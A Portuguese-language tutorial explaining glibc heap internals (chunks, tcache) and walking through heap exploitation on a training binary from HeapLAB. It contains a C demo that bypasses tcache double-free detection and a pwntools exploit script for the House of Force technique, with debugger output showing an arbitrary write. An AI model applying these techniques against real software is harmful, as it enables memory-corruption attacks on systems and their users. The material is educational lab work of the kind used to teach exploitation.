|=-----------------------------------------------------------------------=| |=-------------------------=[ Heap Exploitation ]=-----------------------=| |=-----------------------------------------------------------------------=| |=-----------------------=[ Templo7K ]=----------------------------=| |=-----------------------=[ templo7k.ninja ]=----------------------------=| |=-----------------------------------------------------------------------=| |=-----------------------[ December 12, 2022 ]=-----------------------=| |=-----------------------------------------------------------------------=|
--[ 1 Introdução H3ll0 b1g h4ck3r, b3 w3lc0m3 t0 my 0wn 1nf3rn0. Hoje vamos falar sobre Heap e Heap Exploitation. Eu pensei em muitas coisas para postar aqui, mas nenhuma tão boa ou complexa quanto heap e heap exploitation, logo decidi falar sobre elas hoje, então, l33t'5 g000. $ cat heap/index.txt --[ Table of contents 1 Introdução 2 O que é a Heap 2.1 Chunks 2.2 TCache e TCache Bin 2.3 Tipos de heap 3 Introdução ao Heap Exploitation 3.1 House Of Force --[ 2 O que é a Heap? A heap (ou memory heap) é uma área de memória utilizada pelos binários (Linux, Windows, FreeBSD e etc). Diferentemente da stack que usa o padrão LIFO (last in, first out), a Heap é uma estrutura de dados flexível que permite o acesso rápido aos dados armazenados, independentemente de quando eles foram alocados na memória. Quando um binário é executado, a Heap é automaticamente criada pelo sistema operacional, porem, enquanto o programa não precisar alocar nada na memória, a heap não será usada, e assim impossibilitando de visualiza-lá com o debugger ou qualquer ferramenta parecida. pwndbg> b main Breakpoint 1 at 0x1131 pwndbg> r Starting program: /home/opt/main [...] [...] [...] pwndbg> vis vis_heap_chunks: Heap is not initialized yet. --[ 2.1 Chunks Uma Chunk (ou memory chunk) é uma porção de memória da heap, onde vão ser alocados todas as coisas que o binário quiser alocar. Existe a top chunk, que é a maior memory chunk da heap, toda alocação que for feita no programa, vai requisitar uma porção de memória dessa top chunk. A estrutura de uma chunk é simples. A chunk consiste de metadata e a memória retornada pelo programa. Quando você aloca um objeto na memória, seja com o malloc, calloc ou qualquer função do tipo, ele vai criar uma nova memory chunk com tamanho pré-definido. Por exemplo, se eu fizer uma alocação de 8 bytes, vai ser criada uma memory chunk de 0x20 bytes, porque é um tamanho pré definido. Agora, se minha alocação passar de 0x20 bytes, vai vir uma memory chunk de 0x30 bytes, e por aí vai. Para mostrar isso, vou adicionar alguns mallocs ao meu programa: int main(void){ for(int i = 0; i<5;i++) malloc(8); return 0; } pwndbg> b main Breakpoint 1 at 0x1131 pwndbg> r Starting program: /home/opt/main [...] [...] [...] pwndbg> n (eu vou repetir isso até o primeiro malloc) pwndbg> vis 0x555555559000 0x0000000000000000 0x0000000000000291 ................ 0x555555559010 0x0000000000000000 0x0000000000000000 ................ 0x555555559020 0x0000000000000000 0x0000000000000000 ................ 0x555555559030 0x0000000000000000 0x0000000000000000 ................ 0x555555559040 0x0000000000000000 0x0000000000000000 ................ 0x555555559050 0x0000000000000000 0x0000000000000000 ................ 0x555555559060 0x0000000000000000 0x0000000000000000 ................ 0x555555559070 0x0000000000000000 0x0000000000000000 ................ [...] [...] [...] 0x555555559290 0x0000000000000000 0x0000000000000021 ........!....... 0x5555555592a0 0x0000000000000000 0x0000000000000000 ................ 0x5555555592b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk Com o primeiro malloc, foi alocado uma memory chunk, com 0x0000000000000021 de tamanho (0x20 bytes), e se eu continuar alocando memória, ele vai continuar gerando chunks como essa. Porém, quando você dá um free no objeto alocado, a chunk não some, ela só vira uma free'd (ou empty) chunk e vai pra freelist da heap, que é uma região onde ficam as chunks liberadas, para serem recicladas em alocações futuras caso necessário. Na GLIBC, essa é a estrutura de uma chunk: struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; Se não houver nenhuma memory chunk q foi liberada (free'd), as novas alocações vão ficar em cima depois do ultimo chunk alocado. Se por exemplo, eu fizer 3 alocações, uma de 256, outra de 512, e por fim uma de 1024, o layout ficaria +/- assim: [-------------------------------------------] | Metadata da chunk criada pelo malloc(256) | | 256 bytes de memoria alocados pelo malloc | | ----------------------------------------- | | Metadata da chunk criada pelo malloc(512) | | 512 bytes de memoria alocados pelo malloc | | ----------------------------------------- | | Metadata da chunk criada pelo malloc(1024)| | 1024 bytes de memoria alocados pelo malloc| [-------------------------------------------] Vamos mostrar isso com debugging... root@templo7k:/opt# cat main.c int main(void) { int* x; int* y; x = malloc(5); y = malloc(5); free(x); free(y); } root@templo7k:/opt# cc -o main main.c root@templo7k:/opt# gdb -q main pwndbg> b main Breakpoint 1 at 0x1171 pwndbg> r pwndbg> n (vou repetir esse comando até ele chegar no primeiro malloc...) [...] pwndbg> vis 0x555555559000 0x0000000000000000 0x0000000000000291 ................ 0x555555559010 0x0000000000000000 0x0000000000000000 ................ 0x555555559020 0x0000000000000000 0x0000000000000000 ................ 0x555555559030 0x0000000000000000 0x0000000000000000 ................ 0x555555559040 0x0000000000000000 0x0000000000000000 ................ 0x555555559050 0x0000000000000000 0x0000000000000000 ................ 0x555555559060 0x0000000000000000 0x0000000000000000 ................ 0x555555559070 0x0000000000000000 0x0000000000000000 ................ [...] [...] [...] 0x555555559290 0x0000000000000000 0x0000000000000021 ........!....... 0x5555555592a0 0x0000000000000000 0x0000000000000000 ................ 0x5555555592b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk Excelente! Ele criou uma chunk nova, vamos até o próximo malloc pra ver o que ele faz... pwndbg> vis 0x555555559000 0x0000000000000000 0x0000000000000291 ................ 0x555555559010 0x0000000000000000 0x0000000000000000 ................ 0x555555559020 0x0000000000000000 0x0000000000000000 ................ 0x555555559030 0x0000000000000000 0x0000000000000000 ................ 0x555555559040 0x0000000000000000 0x0000000000000000 ................ 0x555555559050 0x0000000000000000 0x0000000000000000 ................ 0x555555559060 0x0000000000000000 0x0000000000000000 ................ 0x555555559070 0x0000000000000000 0x0000000000000000 ................ [...] [...] [...] 0x555555559290 0x0000000000000000 0x0000000000000021 ........!....... 0x5555555592a0 0x0000000000000000 0x0000000000000000 ................ 0x5555555592b0 0x0000000000000000 0x0000000000000021 ........!....... 0x5555555592c0 0x0000000000000000 0x0000000000000000 ................ 0x5555555592d0 0x0000000000000000 0x0000000000020d31 ........1....... <-- Top chunk Ele criou um novo chunk em cima do outro, assim como é mostrado na estrutura. Porém, vamos ver agora o que acontece quando damos um free e depois alocamos outro objeto na memória. Adicionei mais uma alocação no meu programa, e agora vamos ver o que acontece se alocarmos logo depois de darmos um free. pwndbg> disas Dump of assembler code for function main: 0x0000555555555169 <+0>: endbr64 0x000055555555516d <+4>: push rbp 0x000055555555516e <+5>: mov rbp,rsp 0x0000555555555171 <+8>: sub rsp,0x20 0x0000555555555175 <+12>: mov edi,0x5 0x000055555555517a <+17>: call 0x5555555550700x000055555555517f <+22>: mov QWORD PTR [rbp-0x18],rax 0x0000555555555183 <+26>: mov edi,0x5 0x0000555555555188 <+31>: call 0x555555555070 0x000055555555518d <+36>: mov QWORD PTR [rbp-0x10],rax 0x0000555555555191 <+40>: mov rax,QWORD PTR [rbp-0x18] 0x0000555555555195 <+44>: mov rdi,rax 0x0000555555555198 <+47>: call 0x555555555060 0x000055555555519d <+52>: mov rax,QWORD PTR [rbp-0x10] 0x00005555555551a1 <+56>: mov rdi,rax 0x00005555555551a4 <+59>: call 0x555555555060 => 0x00005555555551a9 <+64>: mov edi,0x5 0x00005555555551ae <+69>: call 0x555555555070 0x00005555555551b3 <+74>: mov QWORD PTR [rbp-0x8],rax 0x00005555555551b7 <+78>: mov rax,QWORD PTR [rbp-0x8] 0x00005555555551bb <+82>: mov rdi,rax 0x00005555555551be <+85>: call 0x555555555060 0x00005555555551c3 <+90>: mov eax,0x0 0x00005555555551c8 <+95>: leave 0x00005555555551c9 <+96>: ret O RIP, (instruction pointer) está em 0x00005555555551a9, o que é uma instrução antes do nosso malloc, vamos dar um break no +74... pwndbg> b *0x00005555555551b3 Breakpoint 2 at 0x5555555551b3 pwndbg> c Continuing. [...] pwndbg> vis 0x555555559000 0x0000000000000000 0x0000000000000291 ................ 0x555555559010 0x0000000000000001 0x0000000000000000 ................ 0x555555559020 0x0000000000000000 0x0000000000000000 ................ 0x555555559030 0x0000000000000000 0x0000000000000000 ................ 0x555555559040 0x0000000000000000 0x0000000000000000 ................ 0x555555559050 0x0000000000000000 0x0000000000000000 ................ 0x555555559060 0x0000000000000000 0x0000000000000000 ................ [...] [...] [...] 0x555555559290 0x0000000000000000 0x0000000000000021 ........!....... 0x5555555592a0 0x0000000555555559 0xb6eeaf3096a13b82 YUUU.....;..0... <-- tcachebins[0x20][0/1] 0x5555555592b0 0x0000000000000000 0x0000000000000021 ........!....... 0x5555555592c0 0x000055500000c7f9 0x0000000000000000 ....PU.......... 0x5555555592d0 0x0000000000000000 0x0000000000020d31 ........1....... <-- Top chunk Ele reutilizou de uma chunk já liberada! enquanto a outra estava com a tcachebin na metadata, agora vou explicar o que diabos é tcache e tcachebin. --[ 2.2 TCache A TCache (ou Thread Local Cache) é um alocador de memória da GLIBC, o trabalho dela é gerenciar solicitações de mem alloc. É uma otimização do alocador de heap tradicional. Já a TCache Bin é um cache dos chunks que foram usados pela memória alocada pela TCache. As TCache bin's podem ser rapidamente re-utilizadas para futuras alocações de memória (e dealocações também). A TCache protege o binário de erros como o "Double Free", por conta dela conter registros de todas alocações e dealocações do programa, assim permitindo ela a saber o que foi já liberado (free'd) e o que não foi. root@templo7k:/opt# cat main.c int main(void){ int* i = calloc(1, 8); int* a = calloc(1, 8); free(i); free(a); free(i); return 0; } root@templo7k:/opt# cc -o main main.c root@templo7k:/opt# ./main free(): double free detected in tcache 2 Aborted (core dumped) Porém, podemos bypassar isso se ocuparmos todas as tcaches! root@templo7k:/opt# cat main.c int main(void){ void* ptrs[8]; for(int i = 0;i<8;i++) ptrs[i] = malloc(8); for(int i = 0;i<7;i++) free(ptrs[i]); int* i = calloc(1, 8); int* a = calloc(1, 8); int* x = calloc(1, 8); printf("I Address: %p\n", i); printf("A Address: %p\n", a); printf("X Address: %p\n", x); free(i); free(a); free(i); printf("\n\nFree'd and reallocated i and a (free'd I 2 times)\n"); i = calloc(1, 8); a = calloc(1, 8); x = calloc(1, 8); printf("I Address: %p\n", i); printf("A Address: %p\n", a); printf("X Address: %p\n", x); return 0; } root@templo7k:/opt# cc -o main main.c ubuntu@templo7k:/opt# ./main I Address: 0x55a5d2d4e3a0 A Address: 0x55a5d2d4e3c0 X Address: 0x55a5d2d4e3e0 Free'd and reallocated i and a (free'd I 2 times) I Address: 0x55a5d2d4e3a0 A Address: 0x55a5d2d4e3c0 X Address: 0x55a5d2d4e3a0 Com isso, vemos que o endereço de X, que era 0x55a5d2d4e3e0, acabou virando o mesmo endereço de I, que é 0x55a5d2d4e3a0. Esse ataque é conhecido como fastbin dup (ou double free), eu não vou me estender mais nesse ataque, não mais do já estendi. --[ 2.3 Tipos de Heap Existem 3 tipos principais de Heap, a Heap do sistema operacional, a heap do usuario e a heap ds libraries. A Heap do usuário, é a heap onde fica tudo que é alocado dinâmicamente pelo programador, então se eu der um malloc no meu programa, aquilo fica na heap do usuario, ou na "user heap". A Heap da biblioteca (ou library heap), é uma área da memória alocada pelas bibliotecas do sistema para armazenar dados que serão compartilhados por vários programas na máquina. A heap do Sistema Operacional é um tipo de heap que é gerenciada pelo sistema operacional e é usada pra armazenar dados alocados pelo sistema operacional. Por exemplo, quando o sistema operacional precisa alocar memória para um novo processo, ele irá usar a heap do sistema operacional para alocar esse processo. --[ Introdução ao Heap Exploitation 4g0r4 ch3g0u 4 h0r4 d4 m4ld4d3, t1r3m 45 cr14nç45 d4 s4l4 h3h3h3h3... Linux Heap Exploitation não é nem um pouco dificil, pelo menos não tanto quanto todos imaginam que seja. É importante ressaltar, que nesse paper, eu estarei falando somente sobre exploração da Heap da GLIBC, então essas técnicas de exploração não se encaixam com musl, dietlibc ou uclibc, somente com a heap da GLIBC. Hoje, eu vou mostrar-lhes algumas técnicas de exploração, tools e um pouco de debugging Vamos falar principalmente sobre a técnica de exploração chamada de house of force. --[ House Of Force House Of Force é uma técnica que consiste em exploitar a top chunk para conseguir um ponteiro arbitrario. Infelizmente a técnica chamada de House Of Force foi patcheada na GLIBC 2.29. Vou mostrar como o ataque House Of Force ocorre. Essa técnica precisa de 3 condições para poder ser aplicada, são elas: 1 - Um overflow em uma chunk que permite sobreescrever a top chunk. 2 - Uma chamada para o "malloc()" com tamanho definido pelo criador do código. 3 - Outra chamada para o "malloc()" onde a data (conteudo) pode ser manipulada pelo criador do código. Eu irei usar como exemplo, o binário vulneravel do HeapLAB, do Max Kamper. Ao executarmos o binário, recebemos isso como output ubuntu@templo7k:~/HeapLAB/house_of_force$ ./house_of_force =============== | HeapLAB | House of Force =============== puts() @ 0x7fda2b0e4f10 heap @ 0x214d000 1) malloc 0/4 2) target 3) quit > Caso dermos um malloc, e botarmos mais data do que ele aguenta, ele vai causar um overflow e vai sobreescrever a top chunk, tudo o que queremos pra explorar um house of force. Com base nisso, vamos codar nosso exploit! Eu vou usar a PwnTools, pra facilitar, mas para quem queira se aprofundar, recomendo fazer isso em C. Mas eu não vejo necessidade, então irei fazer em python com a PwnTools. #!/usr/bin/python3 from pwn import * elf = context.binary = ELF("vuln") libc = ELF(elf.runpath + b"/libc.so.6") gs = ''' continue ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path) def malloc(size, data): io.send(b"1") io.sendafter(b"size: ", f"{size}".encode()) io.sendafter(b"data: ", data) io.recvuntil(b"> ") # Função delta pra calcular o offset ("distância") entre dois endereços def delta(x, y): return (0xffffffffffffffff - x) + y io = start() # Start Address da heap io.recvuntil(b"heap @ ") heap = int(io.recvline(), 16) io.recvuntil(b"> ") io.timeout = 0.1 # PS: esse leak do endereço da heap só funciona no binário especifico # da HeapLAB, porque ele fornece o endereço da heap. info(f"heap: 0x{heap:02x}") info(f"target: 0x{elf.sym.target:02x}") malloc(24, b"Y"*24) info(f"Delta entre heap e main(): 0x{delta(heap, elf.sym.main):02x}") io.interactive() Um xpl simples só pra dar overflow no nosso programa, agora vamos debuggar ele para ver se realmente sobreescreveu a top chunk. Para isso é só rodar o exploit com o argumento "GDB". pwndbg> vis 0x721000 0x0000000000000000 0x0000000000000021 ........!....... 0x721010 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY 0x721020 0x5959595959595959 0x0000000000020fe1 YYYYYYYY........ <-- Top chunk É, ele realmente sobreescreveu a primeira chunk, primeiro objetivo concluido. Então agora, vamos sobreescrever a top chunk. Vamos adicionar um simples p64(0xffffffffffffffff) no nosso malloc... Pronto, vamos rodar nosso exploit pwndbg> vis 0x603000 0x0000000000000000 0x0000000000000021 ........!....... 0x603010 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY 0x603020 0x5959595959595959 0xffffffffffffffff YYYYYYYY........ <-- Top chunk Aeeee, conseguimos dar um overwrite na top chunk, agora vamos tentar conseguir o tão sonhado arbitrary write. Primeiramente, vamos calcular o offset entre a top chunk e o nosso alvo, isso vai ser fácil pelo nosso programa leakar o endereço da heap. Se o binário não leakasse o endereço da heap, poderiamos simplesmente usar o vmmap no pwndbg pra pegar o endereço da heap. Tendo o endereço da heap "em mãos", vamos calcular o offset da top chunk e o inicio da heap. E alocar um novo objeto com o tamanho da distancia e com a data de um simples "Y". distance = delta(heap + 0x20, elf.sym.target - 0x20) malloc(distance, "Y") Feito isso, vamos rodar o exploit, entrar no GDB e dar uma olhada no surrounding do offset target-16, que é onde está a top chunk. pwndbg> dq target-16 0000000000602000 0000000000000000 0000000000001019 0000000000602010 0058585858585858 0000000000000000 0000000000602020 0000000000000000 0000000000000000 0000000000602030 0000000000000000 0000000000000000 pwndbg> top_chunk PREV_INUSE Addr: 0x602000 Size: 0x1019 Podemos ver que o tamanho da Top Chunk diminuiu MUITO, antes era o maior valor 64 bits possível, agora é só de 0x1019, isso porque alocamos o valor equivalente a distância de uma chunk até a top chunk. vamos ver o target no programa em sí 1) malloc 2/4 2) target 3) quit > $ 2 target: XXXXXXX Agora vamos fazer uma nova alocação com uma data "teste" 1) malloc 2/4 2) target 3) quit > $ 1 size: $ 24 data: $ teste Agora vamos dar uma olhada no target denovo... 1) malloc 3/4 2) target 3) quit > $ 2 target: teste X conseguimos o tão sonhado arbitrary write. Th4t5 3n0ugh 70 pwnz 3v3ryth1n6 E aqui eu encerro esse paper. Eu trarei uma parte 2 para esse paper algum dia, falando sobre outras técnicas, como unlinking e house of orange. [email protected]:/# shutdown -h now "Vós que aqui entrais, abandonai toda a esperança."